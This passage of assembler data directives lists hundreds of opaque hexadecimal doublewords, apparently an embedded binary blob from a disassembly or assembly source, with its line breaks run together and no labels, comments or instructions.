5C660894h dd 213608h, 0FCD5ED73h, 88E08CD6h, 92D40C00h, 0FA1A81B8h dd 0E45E0EFDh, 0DB637F17h, 0D8E0B2BCh, 6C620BEBh, 40CEA018h dd 0CF43E90h, 81B7644Dh, 2F063359h, 99E6F2BCh, 0D67D0011h dd 0A31A9354h, 12399FB4h, 5891F40Bh, 5425D400h, 0AC6C63h dd 42023D69h, 0D87B273Ch, 0A9B86A54h, 0BE00B572h, 0F8293F9Fh dd 63BD2C80h, 0E4F0B009h, 414D78C0h, 8E3FC40Ah, 0AE8888EEh dd 0FC2C60D0h, 5E21CBBBh, 529168h, 0ABD54DDAh, 1D7B144Ch dd 0C03368B5h, 862920FAh, 0B03881A4h, 0F7800719h, 46FF9217h dd 79A1B3DCh, 0AB540059h, 48C193FBh, 0C674DAE8h, 0A221A460h dd 0B75475h, 7F623FFDh, 17AD2015h, 9881B928h, 57E5460Ah dd 1C1DA47Bh, 476FD047h, 181443B0h, 3852C1Dh, 0A15B00F5h dd 0CEE1987Dh, 0A60071E4h, 76D12EBCh, 0F1586Dh, 0CDE61074h dd 775BFB7Eh, 0DE0CC00h, 0B07DF51Dh, 321C1E69h, 0FCD1C327h dd 11B0DD2Ch, 0D383106h, 16BD45h, 39CD1E5Eh, 2DA2D38h dd 0DE4B3227h, 209EBBA1h, 44C61810h, 0E4F81DDh, 80D04B6Fh dd 83592F30h, 7BE2441h, 66CD5B99h, 2175469Fh, 0EBB89800h dd 0F390BA31h, 5A7C013Eh, 4F6E8FC4h, 302448FDh, 24468308h dd 0CAD3C2D6h, 0EBB78100h, 0D1ED00ACh, 133D8384h, 0E13DACEh dd 500AFD3h, 0CCE988DEh, 0B7C70034h, 3DB39043h, 27EC281Ah dd 12D04F00h, 152F0A52h, 262B075Dh, 462A05BDh, 6B1F219Fh dd 0CE000AEAh, 0BD38BA6Eh, 0B87C00DCh, 43582A47h, 0EB02DB54h dd 0E527334Fh, 80609F51h, 912A17C6h, 831D1031h, 0FD5E2BA1h dd 6D8AE69Dh, 5103ECE0h, 34DA23Eh, 29760958h, 10E64F4Ah dd 0E6888716h, 2BE97507h, 851EC545h, 0E215E18h, 51DD0011h dd 0BC9C5395h, 6D4872DEh, 0C1670C20h, 0A538E956h, 604EE48Ch dd 18B59C85h, 18ABA1EEh, 6A2AAC51h, 6F7A8048h, 4C586C1Eh dd 518E705h, 6033F1C0h, 0A1260E24h, 0FB80F412h, 5E803C32h dd 0A4C77500h, 60185DD6h, 6F74A502h, 8634FA8h, 510BF036h dd 0C9D70041h, 7783DCB4h, 0D87B606Dh, 52C5D4A0h, 0CD56F300h dd 0B031FF61h, 819F4E7Eh, 0EC44B530h, 0FD128DF4h, 18081F16h dd 0AF9C01Dh, 95461558h, 70D4E610h, 0EF0A7100h, 421F4D80h dd 372707D6h, 218FB34Ah, 83451654h, 0C45DD2D0h, 4F901E46h dd 17A4E7h, 0F5EB1298h, 0A150EFCBh, 0E001329Ch, 914A3DD6h dd 0B42055D4h, 8A608848h, 98CC6C2Ah, 2A863700h, 6AE899B2h dd 0A8E148C3h, 2C30C39h, 24F8EB9Bh, 8E0E1CCEh, 20228352h dd 0A34EDA44h, 82FF3A33h, 970041EBh, 384B24CAh, 0DF7F5200h dd 117D07C6h, 46020031h, 0A0C93261h, 0D9C0437Ah, 87B19694h dd 14C407B2h, 0A0991F3Bh, 0E0F14A42h, 9E280390h, 8858B8EAh dd 5774078Bh, 8282693Bh, 512C6133h, 83E46049h, 0B62410F2h dd 2174CC9Eh, 0D10B008Dh, 0C4935AF5h, 41FA76ABh, 90F04C92h dd 2484306h, 31A56Eh, 5FA63ED6h, 63C4DD3Fh, 0BD889E0Fh dd 0AC0CE3E3h, 80D0D4F2h, 5FE14Fh, 47D67CA1h, 868842E5h dd 0AFF7F80Ch, 420100Eh, 38BE5FD8h, 11A88CB8h, 0A5D178Ch dd 1C3A1554h, 3DE884h, 710A952Ch, 0D29400EAh, 0B516CB0Eh dd 41C05B29h, 3F2FFEC3h, 656A00C4h, 0FFEA5813h, 0F80C0EEBh dd 29422212h, 847615h, 0BD58E303h, 1BE48539h, 0B888F60Fh dd 0C0498074h, 4CCA98DEh, 0D2029BE5h, 0DD1E42FBh, 0C24FC440h dd 557CBBB0h, 22960D14h, 89560360h, 90BB6104h, 1D6074Ch dd 9DD946Ch, 21E24171h, 0E457E500h, 5114E3AAh, 0DCDC60A0h dd 24478342h, 8A001C2Eh, 853EEBB6h, 48864FC3h, 42808CC5h dd 0B86D3C04h, 224E3D00h, 136CDFCBh, 7216127Dh, 23102F6Eh dd 0F8400075h, 3721F744h, 5C7D3C07h, 0A1C95066h, 0C590C354h dd 73C2FC48h, 81D603A9h, 5FC4F803h, 0DB359900h, 0C2857872h dd 46E40004h, 5DC8B184h, 0C31828CBh, 50283D1Fh, 43A60995h dd 0DC84B88Bh, 0DC13609Ah, 116D10A8h, 8259C82Ch, 92DD1D61h dd 3E056A60h, 8BEA50C0h, 7F55340h, 34EE6488h, 2A80D05Dh dd 24189C59h, 32C939FDh, 0CF6412A7h, 383049E7h, 9F886497h dd 7D306027h, 90907A6h, 865AFDB5h, 3A14534h, 30247BA7h dd 100A7633h, 9C28CEB6h, 1AD6C380h, 16FDFC07h, 22518C88h dd 0D8B00290h, 9E81EB7Dh, 0B4884818h, 0C3EB07ACh, 50885815h dd 0A2FB34C9h, 2186A4Ch, 4E9DCAE9h, 0AB64C1A6h, 5BE00E15h dd 0EFC6C20h, 0AA15F351h, 14C82675h, 0D870D0h, 4DF4DA65h dd 70AC22B0h, 60290F6h, 67BCC741h, 0E700E85Fh, 9732CCBFh dd 0D0C478h, 0AD4065FFh, 4FF7D6D1h, 42129D7Ch, 0EC2046F0h dd 0DDE7ABh, 0B0760811h, 0E8BB3798h, 0A070F600h, 571D861h dd 1ABB0C9h, 0CBF0D3D6h, 625AB0D2h, 8ACF00BCh, 0E2F3177Dh dd 736F0062h, 0C57B97D5h, 72031930h, 0E6661604h, 0A7A4A1B1h dd 504241E0h, 6EC840h, 0CAE0E5B6h, 38032DF4h, 43F248h dd 2F33BF78h, 0D8D750h, 149B621h, 10BCF415h, 40971905h dd 0B800CBC4h, 0B8264DCFh, 83CA0146h, 9872238Dh, 9DE0C478h dd 7F4EAB00h, 0A6EFF60Ch, 4D863D7Eh, 805AEA9Bh, 7DFDDBE0h dd 43E85BF2h, 37E6F503h, 90023624h, 93C24Ah, 0A6EA779Ch dd 120BCE7Ch, 90491800h, 34F4540h, 8ACB006Eh, 0DADEC85Dh dd 1A0060BCh, 0B9B8FB95h, 0C6CC61h, 6DDF17F0h, 0CD747F3Ah dd 58FD3B00h, 7C4A3FDBh, 464F1DC9h, 0D480C786h, 0ABF881D8h dd 88EAE745h, 164AD840h, 70074EE2h, 0D89D3CCEh, 90F269FFh dd 0C9C4D4Ch, 497BCCF9h, 8E01F4C0h, 0DA700B6Eh, 0C0407DA4h dd 2530D63h, 0E0186F35h, 6009048h, 0EF9221h, 0E975ED33h dd 57FD8AB9h, 0B1950B0Dh dd 6DE48099h, 0BEC0C00Dh, 0CF15FC3Ch, 9B5B7A00h, 6A8DE8A2h dd 0A6670093h, 1A2B99F1h, 5401987Dh, 6B641D03h, 2FF41325h dd 0ED77D3Ah, 2394DCCEh, 88FE18A4h, 0E700AAE0h, 64BEC833h dd 0F74885Bh, 0DAB0DCA4h, 0FBE002CEh, 0A517AB90h, 78ACFCF1h dd 202D2324h, 9D0610A4h, 2413062h, 7F746E15h, 404068B4h dd 0E501BCF0h, 8D1A0EBh, 32201ACFh, 0CA6C0090h, 0C664B0F5h dd 0F904EFA6h, 0F441FE5Bh, 0C82E0080h, 6C010006h, 472919DBh dd 0D7138669h, 3700E848h, 79F6A0A3h, 3D409250h, 0B480E58Ah dd 0ED036CBCh, 0C13DC3B0h, 80A4BE10h, 0DE5273FCh, 77237434h dd 0B4300E8h, 404D0D8Dh, 5A78CE30h, 77564A07h, 1B20292Ch dd 0CE12E2DBh, 9424EC40h, 30F8B06Bh, 50EE0100h, 39C8A963h dd 0F5AA00FDh, 64DC5DE8h, 469086E4h, 3A2428E8h, 5B84203Bh dd 0E4C2F229h, 0E6B530A0h, 816DBA08h, 4DE86E3Dh, 0DD07E700h dd 0E85677h, 0F2982F3Bh, 64AF7F5Eh, 4C5F8B26h, 4A118CA4h dd 555C4500h, 0A88909DAh, 0D8424700h, 0F9B96916h, 0EF77133Dh dd 0F0B44027h, 0C2508FA6h, 433B790Ch, 0B20409C3h, 0C100918h dd 0CC0EB785h, 1DE6FCA0h, 5B180FB6h, 99C14E3Fh, 0D5E207B3h dd 618AC0A2h, 6327A83Dh, 0AFC0214h, 1CED1559h, 0D347900h dd 0B4636A61h, 2C19505Ah, 0F32E0F72h, 9E029C2h, 39CA64B8h dd 0DDD5941Bh, 9DA4A8C0h, 0DBDA27BCh, 4F06800h, 4258950Eh dd 883D2AC2h, 61F66800h, 0C7582A22h, 857C3C5Ch, 79D6D24h dd 93CFBA2Fh, 2028F1F4h, 714EAD0h, 0E020DAADh, 865EA1C9h dd 0AD760215h, 0DC1480E8h, 8C88C353h, 1A96A894h, 6CAACC01h dd 7C304565h, 0B7F0A09h, 9DE0406Fh, 16E7C026h, 0FEB86854h dd 0F3DCCC00h, 0BACE9549h, 0D2250CE5h, 4D51A330h, 74B5B600h dd 0C9FA664h, 63C1007Dh, 0C759E1C8h, 60B053C5h, 6604D0A1h dd 0AF801E0h, 2A0D157Dh, 0FDA12828h, 18AAF410h, 9267B900h dd 0CAC4663Ch, 0D7E28032h, 0F8F7C876h, 0EF005E3Fh, 2F151D9Dh dd 0F1D178h, 3404B257h, 0D3E6CCEDh, 946D7729h, 0D31873D1h dd 6EFB900h, 27AE66Bh, 13C61CB5h, 0B47C4B6Dh, 8D00C88h dd 0D91E4ED5h, 6CA61E82h, 2A64E46Dh, 0AC416Fh, 0ADD18F1Bh dd 72B4C2E8h, 47982160h, 17B9FE16h, 3A27DA20h, 0F3C2374h dd 0A781B168h, 80502D97h, 0E8DED748h, 75BE717h, 62C340F7h dd 0A8556646h, 0A63DA203h, 74DFB51h, 0D77DF510h, 16A3E37Fh dd 0D90460F7h, 0C50057E6h, 0B30D9C69h, 0FBE9755h, 5ECEFA29h dd 3626FDh, 0F3F1C446h, 0BF00D714h, 0A2A594ABh, 0D34249h dd 0B674936Fh, 951D028Ah, 9D39C400h, 31309112h, 0D8520096h dd 0B03B24C2h, 751CFE11h, 34802E95h, 0EB058346h, 63ED001Bh dd 85EC4F77h, 0D774D371h, 0FFCA4050h, 0BEB0270Eh, 6411C043h dd 0C517B2h, 304D6D41h, 1440F2BAh, 39628F06h, 43088E1Bh dd 6704FFB0h, 6AA415D1h, 381F8EECh, 0BD077BB3h, 41108972h dd 7225F2D4h, 0B27DB9h, 8F510635h, 7C7DEA6Fh, 1B64A67Bh dd 3C21E629h, 0E9A31134h, 8B07C410h, 88238A80h, 1C40E18Ch dd 0D2EC44A7h, 7E518865h, 0F8841404h, 4AEF7B44h, 42085096h dd 438A842Ch, 143F0A1Eh, 946FBD08h, 0CD112836h, 87321F4h dd 1A9422B3h, 6B920814h, 78F71419h, 281AEC11h, 0D03148Eh dd 0CF2FE270h, 6B5AF05Ch, 58E60050h, 0D68A28BCh, 7A3F78F0h dd 0C6321E53h, 0C9777F80h, 2E4E38EAh, 0B10EBAh, 0AE7C85CEh dd 0ED002B6Eh, 0FE260BD1h, 3E948DD8h, 0BC001CF3h, 85CC3775h dd 3F00C304h, 8762A6EEh, 6B5E16h, 2FEB8FA7h, 0DE571E0h dd 0A6002372h, 0EFA28642h, 77AA0F1h, 68ACF3E6h, 0A301703Eh dd 521D810Fh, 57D87823h, 0E1E011h, 2054D858h, 0DB89766h dd 0B7F28C00h, 0C74042F7h, 0B462001Dh, 0B5F9838Bh, 3200BDF6h dd 43A87744h, 0E0AD6A4h, 11CFF813h, 30011472h, 70401C00h dd 0A8B9E1E8h, 0C792EB06h, 5FA4817h, 0DA3DCE72h, 6DC580B6h dd 3A029AA2h, 810D3193h, 49FC57A4h, 0EFC1DA1Eh, 855DEE6h dd 0EB57EC0h, 3E4E7B2Dh, 0DDDF0180h, 89127697h, 680F1E59h dd 0ADA78714h, 53BE80E9h, 4D23486h, 0EBCA9B48h, 0DEFAC004h dd 0EA1759C4h, 9800DDA0h, 22AF31A4h, 76027E38h, 0FA5B041h dd 72F2144Ch, 0D3CF5580h, 0AC0E96F3h, 0A01BB976h, 0FC3D2AB6h dd 8FB4A00Fh, 0E33E0001h, 22E5F5C9h, 2A057A83h, 66139ACDh dd 45C02087h, 0AB107EBh, 3A7DB35Bh, 0FDE3008Fh, 0B9FBBCCBh dd 0C3CCD8C0h, 0E764F5h, 18760752h, 294E48C5h, 23D7A903h dd 0C0E9B2D2h, 2B0B66h, 15030F76h, 73C531E0h, 980320FCh dd 3BBE9A7Ah, 6E7FB86Dh, 0B7F028A6h, 5A3900D3h, 0B6657944h dd 3BF41B8Eh, 19D03800h, 0EA76500Ah, 5BC20021h, 0C409AF05h dd 7400BDEFh, 548610A2h, 0CCAAB71h, 0CD62F8B7h, 0BD00D692h dd 0CCFD59AFh, 9A0F88h, 0A5C93B4h, 273F6A26h, 0F5106100h dd 146686EEh, 75BA01ECh, 727AC9C5h, 0F7FCD0D2h, 0F224B800h dd 87CC6230h, 0D76400CDh, 0E5DAEBA7h, 0BC004DA2h, 2633ED5Ah dd 0B1057Bh, 76A47A8Dh, 0FAA8BBF2h, 4AD69900h, 0ABC1732Ah dd 0E0420719h, 1193A64Eh, 80F98698h, 29D3CA28h, 0ECD53433h dd 6BF71211h, 145400A1h, 0DB61013Ah, 51FCAC50h, 6606BB01h dd 116298A9h, 0E31BFCh, 64AB5949h, 0E667FB3Dh, 22E9638h dd 0AFD55812h, 0DF72E07Dh, 0C0BE005Eh, 40D77161h, 401E2AAh dd 0AC8E177Fh, 92DC07ECh, 0CF7D0F5Fh, 8434013Fh, 1569EF07h dd 0E444E08Bh, 4500A448h, 27B46511h, 1E62353Ch, 40E5AC21h dd 94E8496Fh, 9C3BA672h, 271600C2h, 2A83A17Eh, 78FC000Ah dd 7C56B3C8h, 0F800694Fh, 6715EEFAh, 4CDE7F9Bh, 0FD00A1BEh dd 0D354067Ah, 0D5001D2Bh, 520366F8h, 786EC7Ch, 6D837289h dd 0B6E2F0B9h, 0A87910D1h, 82467101h, 0D938AD4Ah, 2414F4h dd 9B979364h, 0FF2F61B1h, 92B81700h, 7FECC648h, 0A36B00D6h dd 77E68B33h, 2F070AD3h, 0C174379h, 7A949AA0h, 0D4F200E8h dd 0DE7336ACh, 303B2C8Ah, 818481D3h, 62887C49h, 5C196D30h dd 0FE009193h, 780AF061h, 0F74881EAh, 870600A8h, 3D5610AAh dd 0F07400E3h, 5CEB576Dh, 7E00BCFEh, 0CABA48F3h, 0A1EC46Eh dd 0B6DE3D9Bh, 0A0450CFEh, 2E00AB56h, 1243A7D1h, 0F19DCB7h dd 0FE3A1AD0h, 697A8C40h, 3F0013E6h, 6559C8F5h, 554AFAEh dd 50AAF77Ch, 6BD0C3E4h, 1A0EF5E0h, 6F007972h, 0A983B047h dd 1C744D03h, 40A65CCCh, 0DDC38D0Ah, 0C0907378h, 8F7F7B00h dd 319C3CC6h, 0F8E990ADh, 34F100C7h, 0B4FD2188h, 0C903DE14h dd 0F516B1A9h, 0BCA4D88Ah, 93EE00E9h, 3D99627Dh, 0A8004B1Ah dd 1DD677B2h, 3CAA2637h, 0B854E47Fh, 159A04C2h, 80C4C150h dd 1B953CAEh, 3891D700h, 0CAD44F9Dh, 7E578A0h, 2855A51h dd 316C7077h, 0B203F7B4h, 9F40D4Dh, 0FCBB095h, 0AD3200F0h dd 21711A39h, 1203D617h, 6C9774C6h, 0B6F5805Fh, 45729Ch dd 0B1BC9965h, 7F3CAAC8h, 0A7B77000h, 39C2194Eh, 73F3006Eh dd 0A293905Ah, 770120C3h, 1ED12381h, 0B9C81968h, 0E827004Dh dd 9DABB9Ch, 0BC3B3F76h, 0F83D8025h, 0D8C7D671h, 9FFB0007h dd 0B77B5034h, 1FFC857Ah, 750AA300h, 0B36BE166h, 156148C3h dd 0C28D561Eh, 5EA8FAE6h, 0A042E940h, 0AD54C400h, 463257ABh dd 87DE011Ch, 8565AAB3h, 154EF4D7h, 0D60E7F12h, 9716E500h dd 79A8490h, 61A50F24h dd 8C1E50D1h, 0B105C415h, 0F35C9BC6h, 0C2DE0080h, 8597003Dh dd 0E7E99088h, 0D60FD16Ah, 0EE063EA0h, 71BC003Bh, 74D96323h dd 0B47700AFh, 6B18968Fh, 24003D3Ah, 978D82B7h, 0F33800Eh dd 6058AB4Dh, 3AC8B8E0h, 0C50792E3h, 3EF41554h, 839F4DB0h dd 57AF008Eh, 0F549B17Ch, 18F6DEFBh, 216D2500h, 1C36E834h dd 0F915502Ah, 23F0179Ch, 0AE6000F1h, 6034E542h, 4D500100h dd 0EABE9228h, 4FF04CC4h, 0CBC7EB00h, 42A3692Dh, 63E0021Fh dd 6068E38Fh, 216CD4ACh, 893701DFh, 8D366212h, 774EC8B7h dd 0E42EFD03h, 0C07F69ADh, 0EE188A73h, 80E600A2h, 0E0C0D18Bh dd 68007876h, 8763A354h, 0C82956Ch, 2F93C84Bh, 0AF039B32h dd 815F9446h, 0BA20002Ah, 5D4C8D27h, 5607A977h, 3BF89706h dd 0F7C9A07Fh, 0ABE2C5h, 0F964EBCEh, 42985855h, 306DFCF9h dd 0FB00E090h, 97812C23h, 1CBB7B72h, 0C084BEA1h, 0A28EB7AAh dd 5006C95h, 1F6EA811h, 0FB4DE51h, 8AF83C6h, 8A80B76Eh dd 0C707346Ch, 0F8FDFCA0h, 0C872A91Fh, 0E83ED9C0h, 70D85A9Ah dd 21530037h, 9DECEFA1h, 2A00C239h, 628A945h, 0B096111h dd 0C8CEFACFh, 0B7CC5900h, 0FB00750Dh, 0CDEE1073h, 34A076h dd 0ACB49926h, 792BDCEFh, 0FCB8D807h, 0C460887Bh, 0F516515h dd 24F2FAB7h, 3C483660h, 91000CDFh, 0FCBA8EFFh, 379BE0h dd 0CC21203Fh, 0C06C82A3h, 1D5F4Ch, 5AE19E1Bh, 1FF487C8h dd 806130BDh, 6A56096Ch, 65003C8Ah, 8515502Ch, 1D72259Ch dd 0C05C488Eh, 61DC79C8h, 28009A94h, 0F470300Dh, 7EC2B7h dd 1205DFE7h, 18EB31CCh, 78FC69E0h, 0B5BE9D00h, 3CFC082Ah dd 49DC0012h, 973AFB01h, 0A7039275h, 62F32E77h, 3C5EE8D2h dd 246000DDh, 7C96DB31h, 8F018D52h, 8E74EECDh, 0AA304AE5h dd 3DB61FE9h, 153A4006h, 0E2337C4Eh, 2D491D00h, 0A11CF3C4h dd 0FB0B055Ch, 80186377h, 9505C28Ch, 276D724h, 1FBD3E1Ch dd 0D1800C51h, 0ED3AA2F8h, 6EB31EEAh, 5F003952h, 0AE0BB6A7h dd 65000E10h, 87B9BA42h, 4C8DF7C7h, 0DE003459h, 9BC3B54h dd 9E0FB366h, 61E8D8ABh, 45FDBFB2h, 7E93DFh, 0FA715990h dd 0AC55F47Bh, 67F96309h, 46D8804Fh, 0DB12E08h, 0CDB70AE3h dd 1572D090h, 0ED408F78h, 43E0059h, 80717D4Fh, 0E600D060h dd 5ACD8D5Fh, 138E73h, 427990DFh, 16EB75B2h, 0F420D100h dd 892BD2E4h, 984F0044h, 0CA64459Bh, 460EB661h, 0C320BD6Eh dd 0C8CBA934h, 7EBA078h, 79266B5h, 8B57D096h, 0FA0026BFh dd 3D7BBD28h, 5CFC050Ch, 613F5B35h, 0AD9F6780h, 0AB682EAFh dd 6A19DD00h, 36A9B118h, 64A10037h, 0DC4689DFh, 97E4966Eh dd 659C7C50h, 1CCA7300h, 0D22D53ADh, 0EF9000D1h, 39C7BA1Fh dd 0A7008DD6h, 166920ECh, 3C6535h, 0BF71E580h, 0A47BDC22h dd 731E0899h, 56D2D082h, 5D0602Fh, 0DC7F0109h, 4DFE329Bh dd 818047FDh, 0E01B02A4h, 22499786h, 76990408h, 289072A3h dd 0B89A38h, 302823D2h, 0DB24FF44h, 0F15E3B00h, 0DC58C8DEh dd 87070179h, 0A02CACDDh, 4EBDB4Ch, 7A98EAC3h, 96003FF4h dd 0B9058699h, 0EB2D25Eh, 0FAB4338Ch, 0B519095Dh, 0E3131C00h dd 0AC006ED3h, 3DF7B9D6h, 3F621FD7h, 1102245Ch, 74180533h dd 39BD2D00h, 1C94FE6Fh, 808734BCh, 3AE0B6CAh, 831E3852h dd 4040DE90h, 7E4162A8h, 56D10151h, 12C4B967h, 0B2F98B8Bh dd 0ACF38094h, 85D54Ah, 0AE398CA3h, 4CC019CEh, 0A0A12E00h dd 0AB135DDCh, 41D4A87Dh, 0BBD0A954h, 68A5C840h, 124AEE3Ch dd 24EEE2h, 4EDA3EA0h, 0A303E982h, 0B6C26190h, 97CFC055h dd 0D14900D8h, 13E37FB3h, 7928BEF9h, 4110D42Ah, 0A848284Fh dd 82AC1C00h, 16DF8121h, 3D132300h, 0FE779F31h, 357E00DDh dd 68A13BE6h, 2800A56Fh, 0B4E050D4h, 921A4Bh, 0F644E72Ah dd 9A3BEA58h, 821D8AFAh, 6B40BA68h, 9C235E96h, 8DE600F9h dd 0BEB21CBBh, 44092639h, 80C1526Ah, 7CFB5A30h, 18D64869h dd 7DE77500h, 0FF7CF12h, 0D0027E18h, 1CBFAB18h, 0C03A8524h dd 0E2A2C168h, 7F002286h, 86B1FEEh, 1FCF3816h, 0C1B4A3FFh dd 0BDCC4445h, 0CB03055h, 8C49A00h, 288E361Bh, 0D4EC0FB2h dd 4840DA35h, 1175B1FEh, 0DCA16A03h, 8A20B509h, 9DC48051h dd 34C98h, 78DEFC5Fh, 2483D88h, 0AAD0F000h, 0D1534FFDh dd 0FEDA00EBh, 676F0A56h, 0C83E3966h, 5526804Eh, 6540D890h dd 0A8A95CAFh, 0C40C2Ah, 0C549C6BDh, 9A0DB2C8h, 801C2601h dd 483AA1B0h, 0E83FABD0h, 0C6AD1FF4h, 47B34015h, 0CDE49ADEh dd 8254A802h, 60414377h, 686C05DCh, 9C5B058h, 55006BADh dd 229E12ABh, 176D5F00h, 59A31910h, 309200AAh, 0A7291FD9h dd 57092BBBh, 80F7CEA4h, 6583E3DCh, 0A0DD00BDh, 0E5FA52A6h dd 0BE26126Ah, 4A00901Eh, 0C670DF02h, 0FD19805Dh, 14917500h dd 105FDE74h, 0ECF650E6h, 6C751Ah, 0A3C28697h, 1815E7B7h dd 0A8097900h, 69B5379Ch, 16FD2ECBh, 1D95045Ch, 1ABC80D3h dd 0D4778029h, 47BE8C00h, 0BFB55839h, 63D103A1h, 36EF3526h dd 6EEADD8h, 7638C200h, 0EBF0EC05h, 0BE460392h, 85AEE515h dd 30C8DBF1h, 5051D6FFh, 0A7E26094h, 7C3694A0h, 3AC7CF1Dh dd 0FBFCD180h, 1378CDB6h, 21741C96h, 0F0E7E6ECh, 8D014FFEh dd 2F3C8833h, 25C0466Fh, 5ABB00B5h, 4D545387h, 6770B4B0h dd 86D63300h, 5EAC5295h, 14E03E99h, 50638A83h, 73A8EC51h dd 4F006065h, 0E5B7C70Eh, 3A6D909h, 0E92F8C38h, 14A99519h dd 0F5E85178h, 0C36862C0h, 74E8A96h, 81B2B311h, 0C6C1013Ah dd 0EF98D76Dh, 0B73C1F66h, 0E7BD80F7h, 420287A8h, 0C3550986h dd 1D80A5FDh, 0FF0E923Ah, 0F843341Eh, 77E4A200h, 833DC0h dd 88B06A26h, 0B8AAA950h, 565AF004h, 0C8C0DC95h, 0ACF125h dd 0E9659FD9h, 6499A846h, 0DFEA507h, 7880EB60h, 24877A52h dd 5E04A48h, 83F75022h, 16A0658Ch, 0F200E2AFh, 0D546C135h dd 90743Bh, 0BACB062Dh, 61243E53h, 0C6D85100h, 0FE20A968h dd 0FE6D795Ah, 0C07609h, 0BD4B972Eh, 5D18EDFh, 98A0C677h dd 3405A335h, 661A76EBh, 0D07FD980h, 1E1B09EAh, 7CA08472h dd 4E2632F3h, 8F6C9207h, 166041D8h, 0EE7EAB6Bh, 1FC97EB6h dd 0C9DFC657h, 0D80246C5h, 48C284D5h, 2ACC9C48h, 7AFBDB00h dd 0FAC811C5h, 56C4001Dh, 4DD8A793h, 32006DA8h, 2796D789h dd 2C3C2A3Bh, 787B20h, 51AFF0E3h, 0E87803FAh, 7000A57Ah dd 0FB145713h, 8CD2A2h, 0CA6F521h, 0F6A1CC42h, 7156E097h dd 0B5DC005Bh, 4B5AE2CAh, 0EA186713h, 0F258851Ch, 882B0025h dd 2430E664h, 7658FB98h, 0F1430087h, 0ABC86C02h, 293A3DDBh dd 0B5384BBFh, 2F9FE180h, 0C81566Eh, 0D9944100h, 1EC4C33h dd 0FD790FE4h, 74A089D5h, 0B6C64EFBh, 9C7B64F6h, 3BCDA400h dd 6C58A3C7h, 0B0780013h, 0AEB7E9D0h, 53E6F151h, 55C6EF00h dd 358701Dh, 0C8D9015Eh, 46B44DE9h, 0DBA47018h, 5CA6413Dh dd 8211170Ch, 90209C40h, 0CC2EC3h, 9CF1806Bh, 6E714B35h dd 0A00029F8h, 7319ACD9h, 0C4661B7Eh, 0C76909D4h, 0A66FA0A4h dd 64005AE1h, 2C90A07Bh, 204BD72h, 9E77EC6Eh, 1CE8DA83h dd 0B40E2833h, 40257BF8h, 8AF553B9h, 2FCA007Fh, 45A6177h dd 872E511Fh, 0D7134E5Fh, 27316D00h, 0FABC02h, 0C30A6418h dd 80EE444Bh, 1B9039h, 266D1CF9h, 7B52B3Ah, 0DBF56EA9h dd 48A08BDCh, 0B123AA31h dd 6F0B0900h, 1EF9DE8Eh, 0C4A30334h, 456790F0h, 1BAE9EF0h dd 8096DA3Eh, 57D59B59h, 7973DBh, 950AB3C0h, 31FE30A5h dd 56E26B07h, 5D904A7Ah, 90BBBh, 842140B9h, 0D8BFA7FCh dd 89537200h, 39A9182Ch, 0CAC0030h, 61976D43h, 0E2050570h dd 0B7DC4DBDh, 944294C0h, 1CF100FAh, 442FB171h, 9000099Bh dd 5865C524h, 0D29C30h, 0C13E69E9h, 7966230Ch, 0B276F00h dd 7CF828C3h, 0C73D3EA1h, 835F1680h, 4D65A552h, 0F0143F4h dd 9F2D77DBh, 0FC40994Eh, 1CBFB241h, 85C417CFh, 1F62D8F5h dd 33DA4098h, 63AF0F32h, 0F0D5842Ch, 58919E80h, 0C0C9195Bh dd 42670E91h, 0CF46145h, 3B0081B0h, 56B3CE40h, 1C91F33h dd 5F675EFFh, 0C4F73ABBh, 0F3391BA9h, 8B38009Eh, 0B7B3A54Bh dd 4601130Ah, 0CBC20009h, 0BAE2C32Dh, 0C0DF2500h, 0E973E8B1h dd 0DB9400A4h, 0B3BCBFD0h, 2D09C167h, 1E59ECh, 0E20E2568h dd 0A3151DE9h, 11768093h, 48D7A160h, 0A20D2E00h, 988C7FC6h dd 34FD0033h, 730A6B92h, 2F1D527Bh, 62802D28h, 851AE7A6h dd 59400081h, 50B46F3Dh, 0E11CAF70h, 0A200BC60h, 19FE4973h dd 0DE9900E4h, 649CE27Eh, 0DA00C370h, 679F02D6h, 0DCD12Fh dd 9780F1E7h, 1EEDD9DBh, 787AB000h, 45DE48C6h, 41CF039Ah dd 81286307h, 53826990h, 2016AA07h, 0FEE1953Bh, 34706561h dd 84300E4Ch, 0C3635833h, 22B03F7Eh, 0EE0F4EA7h, 635394F1h dd 8064F4AFh, 3083C61h, 3F929E11h, 0BE84D04h, 0F8E9D732h dd 0D13A2262h, 0B4838030h, 1C085BBFh, 355900CFh, 73F41FADh dd 217FA44h, 0EE00B8AFh, 0EF8EC599h, 58D0B532h, 693C3000h dd 27097A3Dh, 862A00D5h, 58C1A161h, 0F30012BBh, 0D08EE30Ch dd 108263h, 0DAFC1634h, 6883ACBAh, 0CFC18800h, 0FD2F58D9h dd 922600FAh, 0E57D050Dh, 97078AB0h, 0A8DBCA07h, 5CC08170h dd 987E0169h, 61254B72h, 404ED1F1h, 0BC30F094h, 990974B8h dd 24FD5033h, 7EFA2B6h, 0EF082E3Dh, 0C7EF8E4Fh, 48580320h dd 240071C2h, 830FCB11h, 6BF888Ah, 0BCA328E9h, 0A0179D3h dd 9B8FC5CAh, 80E2D2D6h, 0D3B94E9Ch, 722107B6h, 0E0D8A58Ch dd 6498112Ch, 6EE0EB02h, 0E3C76709h, 0E02EEB8Ah, 8A446Ch dd 711E578h, 0CF37B4EFh, 0AF930500h, 0B35B7F16h, 1E55FC15h dd 54E3F8h, 4DC450Ah, 1701240Bh, 53604A6Fh, 0CE8988Dh dd 0A54003Fh, 41BDDFBFh, 2B01F89Ah, 0FC121AB1h, 78E4E9D9h dd 3442018Dh, 0EBAF0B4Bh, 2932ECA7h, 12008CF6h, 83E71728h dd 1C914CFEh, 801D9FBEh, 0F692B5A8h, 8D005EE0h, 5462A4C6h dd 0C0590D61h, 1867BE10h, 0DBFF656Eh, 0D2BA2BF8h, 0B0E2F200h dd 907C5E0Bh, 0DD470073h, 0CE4BDA84h, 2A3E4A71h, 745C99h dd 0FB7F79B9h, 0EA0343Ah, 916201D6h, 6C971800h, 5900640Fh dd 0F18152BCh, 5F92DAh, 2991126Ah, 0B6A426BAh, 3468AC01h dd 0C5E688DDh, 0FC2D6424h, 73F80770h, 0A125AC1Fh, 802B9B4Ch dd 18B5F311h, 6074E3h, 0F6811D0Dh, 0FEE66B58h, 9F005C73h dd 0D9DA28A2h, 4135560h, 0E4CC1E9Eh, 40008731h, 4C36C5Bh dd 0BBDF6F00h, 1C6672C4h, 0ED400E75h, 2C87D043h, 56B1C00Bh dd 4200C604h, 8F8E4AEh, 5046B2h, 868409A4h, 